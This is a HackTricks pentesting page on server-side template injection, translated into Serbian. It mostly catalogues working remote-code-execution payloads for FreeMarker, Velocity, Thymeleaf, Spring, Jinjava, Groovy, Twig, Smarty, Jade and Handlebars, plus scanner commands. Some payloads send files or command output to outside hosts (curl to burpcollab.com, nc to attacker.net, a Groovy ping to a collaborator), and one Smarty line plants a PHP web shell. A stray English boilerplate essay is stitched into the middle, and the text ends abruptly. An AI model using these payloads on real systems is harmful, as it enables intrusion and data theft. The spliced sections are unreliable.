hacktricks/pentesting-web/ssti-server-side-template-injection
2024-02-10 13:11:20 +00:00
..
el-expression-language.md Translated to Serbian 2024-02-10 13:11:20 +00:00
jinja2-ssti.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated to Serbian 2024-02-10 13:11:20 +00:00

SSTI (Server Side Template Injection)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

RootedCON je najrelevantniji kibernetički događaj u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Šta je SSTI (Server-Side Template Injection)

Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost može se naći u raznim tehnologijama, uključujući Jinja.

Jinja je popularni šablonski engine koji se koristi u veb aplikacijama. Razmotrimo primer koji demonstrira ranjivu deonicu koda koristeći Jinju:

output = template.render(name=request.args.get('name'))

U ovom ranjivom kodu, parametar name iz zahteva korisnika direktno se prosleđuje u šablonu koristeći funkciju render. Ovo potencijalno omogućava napadaču da ubaci zlonamerni kod u parametar name, što dovodi do ubrizgavanja šablona na serverskoj strani.

Na primer, napadač može da kreira zahtev sa payload-om kao što je:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{loše-stvari-ovde}} je ubačen u parametar name. Ovaj payload može sadržati Jinja direktive za šablone koje omogućavaju napadaču da izvrši neovlašćeni kod ili manipuliše mašinom za šablone, potencijalno preuzimajući kontrolu nad serverom.

Da bi se sprečile ranjivosti servera zbog ubrizgavanja šablona na serverskoj strani, programeri trebaju osigurati da korisnički unos bude pravilno dezinfikovan i validiran pre nego što se ubaci u šablone. Implementacija validacije unosa i korišćenje tehnika za izbegavanje konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.

Detekcija

Da bi se otkrilo ubrizgavanje šablona na serverskoj strani (SSTI), na početku je jednostavan pristup testiranje šablona. To podrazumeva ubrizgavanje sekvence posebnih karaktera (${{<%[%'"}}%\) u šablon i analiziranje razlika u odgovoru servera na regularne podatke u odnosu na ovaj posebni payload. Indikatori ranjivosti uključuju:

  • Izbačene greške koje otkrivaju ranjivost i potencijalno mašinu za šablone.

  • Odsustvo payloada u refleksiji ili delovi koji nedostaju, što implicira da server obrađuje podatke drugačije od regularnih podataka.

  • Tekstualni kontekst: Razlikovanje od XSS-a proverom da li server evaluira izraze šablona (npr. {{7*7}}, ${7*7}).

  • Kontekst koda: Potvrda ranjivosti izmenom ulaznih parametara. Na primer, promena greeting u http://vulnerable-website.com/?greeting=data.username da biste videli da li je izlaz servera dinamičan ili fiksan, kao što je u greeting=data.username}}hello koji vraća korisničko ime.

Faza identifikacije

Identifikacija mašine za šablone podrazumeva analizu poruka o greškama ili ručno testiranje različitih jezički specifičnih payloada. Uobičajeni payloadi koji izazivaju greške uključuju ${7/0}, {{7/0}} i <%= 7/0 %>. Posmatranje odgovora servera na matematičke operacije pomaže u preciziranju određene mašine za šablone.

Alati

TInjA

efikasan skener za SSTI + CSTI koji koristi nove poliglote

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

SSTImap je alat koji se koristi za otkrivanje i iskorišćavanje ranjivosti server-side template injection (SSTI) u aplikacijama. Ovaj alat je napisan u Pythonu i omogućava pentesterima da automatski pronalaze i eksploatišu SSTI ranjivosti.

Instalacija

Da biste instalirali SSTImap, pratite sledeće korake:

  1. Klonirajte repozitorijum sa GitHub-a:

    git clone https://github.com/vladko312/sstimap.git
    
  2. Instalirajte zavisnosti pomoću pip-a:

    pip install -r requirements.txt
    

Upotreba

SSTImap se može koristiti na sledeći način:

python sstimap.py -u <URL> -p <PAYLOAD> -c <COOKIE>

Gde su:

  • <URL>: URL ciljane aplikacije
  • <PAYLOAD>: SSTI payload koji se koristi za eksploataciju ranjivosti
  • <COOKIE> (opciono): Cookie vrednost za autentifikaciju

Primer

Evo primera kako se koristi SSTImap:

python sstimap.py -u https://example.com -p "{{7*7}}" -c "session=123456789"

Ovaj primer će poslati SSTI payload {{7*7}} na URL https://example.com sa cookie vrednošću session=123456789. SSTImap će zatim analizirati odgovor i prikazati rezultate.

Napomena

SSTImap je moćan alat koji može otkriti i iskoristiti SSTI ranjivosti. Međutim, pre upotrebe ovog alata, uvek se uverite da imate dozvolu za testiranje ranjivosti i da radite na legalan način.

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

Tplmap je alat za automatsko otkrivanje i iskorišćavanje ranjivosti server-side template injection (SSTI). Ovaj alat je posebno koristan tokom testiranja penetracije web aplikacija koje koriste server-side template engine za generisanje dinamičkog sadržaja.

Instalacija

Da biste instalirali Tplmap, možete ga preuzeti sa ovog linka i pratiti uputstva za instalaciju.

Korišćenje

Tplmap se koristi tako što se navede ciljna URL adresa i odgovarajući parametar koji je podložan SSTI ranjivosti. Alat će automatski pokušati da otkrije i iskoristi ranjivost, pružajući informacije o mogućim eksploatacijama.

tplmap -u <URL> -d <PARAMETAR>

Napomena

Kao i kod svih alata za testiranje penetracije, važno je da koristite Tplmap samo u okviru zakonitih aktivnosti i sa dozvolom vlasnika sistema koji testirate. Nepravilna upotreba ovog alata može biti protivzakonita i podleže pravnim sankcijama.

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Tabela za ubacivanje šablona

interaktivna tabela koja sadrži najefikasnije poliglote za ubacivanje šablona zajedno sa očekivanim odgovorima 44 najvažnija šablonska motora.

Eksploatacije

Opšte

U ovoj listi reči možete pronaći definisane promenljive u okruženjima nekih od navedenih motora:

Java

Java - Osnovno ubacivanje

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Prikupljanje sistemskih varijabli okruženja

U Java programskom jeziku možete dobiti pristup sistemskim varijablama okruženja pomoću klase System. Ova klasa pruža metodu getenv() koja vraća mapu svih trenutnih sistemskih varijabli okruženja.

import java.util.Map;

public class EnvironmentVariables {
    public static void main(String[] args) {
        Map<String, String> env = System.getenv();
        for (String key : env.keySet()) {
            String value = env.get(key);
            System.out.println(key + " = " + value);
        }
    }
}

Ovaj program će prikazati sve sistemsko varijable okruženja i njihove vrednosti.

${T(java.lang.System).getenv()}

Java - Pribavljanje /etc/passwd fajla

U nekim situacijama, kada je server podložan Server-Side Template Injection (SSTI) ranjivosti, moguće je iskoristiti ovu ranjivost kako bi se dobio pristup fajlovima na serveru. Jedan od takvih fajlova je /etc/passwd, koji sadrži informacije o korisnicima na Unix/Linux sistemima.

Da biste dobili pristup /etc/passwd fajlu putem SSTI ranjivosti u Javi, možete koristiti sledeći kod:

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class SSTIExploit {
    public static void main(String[] args) {
        try {
            String command = "cat /etc/passwd";
            Process process = Runtime.getRuntime().exec(command);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            reader.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Ovaj kod koristi Runtime.getRuntime().exec() metodu da izvrši komandu cat /etc/passwd na serveru. Rezultat se čita liniju po liniju i ispisuje na standardni izlaz.

Važno je napomenuti da je ovo samo jedan primer kako se može iskoristiti SSTI ranjivost da bi se dobio pristup /etc/passwd fajlu. U praksi, ova ranjivost može biti iskorišćena za izvršavanje različitih komandi i pristup drugim osetljivim fajlovima na serveru.

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Možete isprobati svoje payload-e na https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Ništa
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Bypass bezbednosnog peska

⚠️ radi samo na verzijama Freemarker-a ispod 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Više informacija

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Više informacija

Thymeleaf

U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz ${7*7}, koji takođe važi i za ovaj template engine. Za potencijalno izvršavanje udaljenog koda, mogu se koristiti izrazi poput sledećih:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf zahteva da se ovi izrazi postave unutar određenih atributa. Međutim, inline izrazi se podržavaju za druge lokacije template-a, koristeći sintaksu poput [[...]] ili [(...)]. Dakle, jednostavan SSTI test payload bi mogao izgledati kao [[${7*7}]].

Međutim, verovatnoća da ovaj payload funkcioniše je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičko generisanje template-a; template-i moraju biti unapred definisani. Razvojni programeri bi morali da implementiraju sopstveni TemplateResolver kako bi kreirali template-e iz stringova u hodu, što je neobično.

Thymeleaf takođe nudi preprocesiranje izraza, gde se izrazi unutar duplih donjih crta (__...__) preprocesiraju. Ova funkcionalnost se može koristiti pri konstrukciji izraza, kao što je prikazano u dokumentaciji Thymeleaf-a:

#{selection.__${sel.code}__}

Primer ranjivosti u Thymeleaf-u

Razmotrite sledeći odlomak koda, koji može biti podložan zloupotrebi:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Ovo ukazuje da ukoliko mašina za šablon obradi ove ulaze nepravilno, to može dovesti do izvršavanja udaljenog koda pristupajući URL-ovima kao što su:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Više informacija

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypassiranje filtera

Mogu se koristiti višestruki izrazi promenljivih, ako ${...} ne funkcioniše, pokušajte sa #{...}, *{...}, @{...} ili ~{...}.

  • Čitanje /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Prilagođeni skript za generisanje payload-a
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Više informacija

Manipulacija Spring View-a (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Stara verzija Pebble-a ( < verzija 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nova verzija Pebble-a:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava je biblioteka za obradu šablona na serverskoj strani koja se koristi u Java aplikacijama. Ona omogućava programerima da koriste šablone za generisanje dinamičkog sadržaja na serverskoj strani. Jinjava podržava Server-Side Template Injection (SSTI) napade kada se nevalidni ili zlonamerni ulazni podaci ubace u šablon i izvrše se na serverskoj strani.

Da biste izvršili SSTI napad na Jinjava, trebate pronaći mesto gde se korisnički unos ubacuje u šablon i manipulisati unosom kako biste izvršili zlonamerne operacije. Ovo može uključivati ubacivanje koda, izvršavanje sistemskih komandi ili čitanje osetljivih podataka sa serverskog sistema.

Da biste se zaštitili od SSTI napada u Jinjava, trebali biste sanitizovati korisnički unos i ograničiti privilegije šablona. Takođe je važno ažurirati Jinjava biblioteku na najnoviju verziju kako biste iskoristili sigurnosne ispravke.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava je open source projekat koji je razvijen od strane Hubspot-a, dostupan na https://github.com/HubSpot/jinjava/

Jinjava - Izvršavanje komandi

Popravljeno od strane https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Više informacija

Hubspot - HuBL (Java)

  • {% %} delimitatori za izjave
  • {{ }} delimitatori za izraze
  • {# #} delimitatori za komentare
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte Jinjava projekat na Github-u.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Više informacija

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) je osnovna funkcionalnost koja olakšava interakciju između sloja prezentacije (kao što su web stranice) i aplikacijske logike (kao što su upravljani objekti) u JavaEE. Ona se široko koristi u više JavaEE tehnologija kako bi se olakšala ova komunikacija. Ključne JavaEE tehnologije koje koriste EL uključuju:

  • JavaServer Faces (JSF): Koristi EL za povezivanje komponenti na JSF stranicama sa odgovarajućim podacima i akcijama na backend-u.
  • JavaServer Pages (JSP): EL se koristi u JSP-u za pristupanje i manipulaciju podacima unutar JSP stranica, čime se olakšava povezivanje elemenata stranice sa podacima aplikacije.
  • Contexts and Dependency Injection for Java EE (CDI): EL se integriše sa CDI-om kako bi omogućio besprekornu interakciju između web sloja i upravljanih objekata, obezbeđujući koherentniju strukturu aplikacije.

Proverite sledeću stranicu da biste saznali više o eksploataciji EL interpretera:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Sledeći zaobilaziči bezbednosnog menadžera preuzeti su sa ovog izveštaja.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo mesto susreta tehnoloških i kibernetičkih stručnjaka u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Više informacija

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format šablona

Twig je popularan format šablona koji se koristi u mnogim web aplikacijama napisanim u PHP-u. Twig pruža moćne funkcionalnosti za generisanje HTML-a i drugih vrsta izlaza. Twig koristi sintaksu sličnu Pythonu i omogućava programerima da koriste promenljive, petlje, uslove i druge konstrukcije jezika kako bi dinamički generisali sadržaj.

Twig takođe podržava Server-Side Template Injection (SSTI) ranjivosti, koje mogu biti iskorišćene za izvršavanje proizvoljnog koda na serveru. Ove ranjivosti se obično javljaju kada se korisnički unos nepravilno tretira kao deo Twig šablona, što omogućava napadaču da ubaci zlonamerni kod koji će biti izvršen prilikom renderovanja šablona.

Da biste iskoristili SSTI ranjivost u Twig formatu, potrebno je pronaći mesto gde se korisnički unos ubacuje direktno u šablon. Zatim, možete koristiti Twig sintaksu za ubacivanje i izvršavanje proizvoljnog koda. Na primer, možete koristiti {{ exec('ls') }} da biste izvršili komandu ls na serveru i prikazali rezultate.

Kada se susretnete sa SSTI ranjivošću u Twig formatu, važno je biti oprezan i pažljivo tretirati korisnički unos. Preporučuje se sanitizacija i validacija korisničkog unosa pre nego što se ubaci u šablon kako bi se sprečilo izvršavanje zlonamernog koda.

U nastavku su prikazani neki primeri Twig sintakse koja se može koristiti za iskorišćavanje SSTI ranjivosti:

  • {{ 7*'7' }} - Izračunava rezultat množenja broja 7 sa stringom '7'.
  • {{ config }} - Prikazuje konfiguraciju aplikacije.
  • {{ app.request.server.get('SERVER_SOFTWARE') }} - Prikazuje verziju servera.
  • {{ app.user }} - Prikazuje informacije o trenutno prijavljenom korisniku.

Kada se koristi Twig format šablona, važno je biti svestan potencijalnih SSTI ranjivosti i preduzeti odgovarajuće mere zaštite kako bi se sprečilo zloupotrebljavanje.

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Više informacija

Plates (PHP)

Plates je šablon-motor koji je ugrađen u PHP, inspirisan Twig-om. Međutim, za razliku od Twig-a, koji uvodi novu sintaksu, Plates koristi ugrađeni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.

Kontroler:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Šablon stranice:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Šablon rasporeda:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Više informacija

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB je isto što i PHPlib, ali prebačen na Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Server-Side Template Injection (SSTI)

Description

Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template, which is then executed by the server. This can lead to remote code execution (RCE) and other serious security issues.

Exploitation

To exploit SSTI, an attacker needs to identify a vulnerable server-side template and inject their own code into it. This can be done by manipulating user input that is directly used in the template, such as template variables or template tags.

Once the malicious code is injected, it will be executed by the server, allowing the attacker to perform various actions depending on the server's capabilities. This can include reading sensitive data, modifying server-side files, or even gaining full control over the server.

Prevention

To prevent SSTI vulnerabilities, it is important to follow secure coding practices:

  • Input validation and sanitization: Always validate and sanitize user input before using it in server-side templates. This can help prevent code injection attacks.
  • Template sandboxing: Use template engines that provide sandboxing capabilities. This can restrict the execution of certain dangerous operations within the template.
  • Least privilege principle: Ensure that the server running the templates has the least privileges necessary to perform its intended functions. This can limit the impact of an SSTI vulnerability.

Conclusion

Server-Side Template Injection is a serious vulnerability that can lead to remote code execution and other security issues. By following secure coding practices and regularly testing for SSTI vulnerabilities, developers can help protect their applications from this type of attack.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Više informacija

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Više informacija

patTemplate (PHP)

patTemplate je PHP šablon-motor koji ne kompajlira kod, već koristi XML oznake za deljenje dokumenta na različite delove.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Više informacija

Handlebars (NodeJS)

Putanja Traversal (više informacija ovde).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Greška
  • ${7*7} = ${7*7}
  • Ništa
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
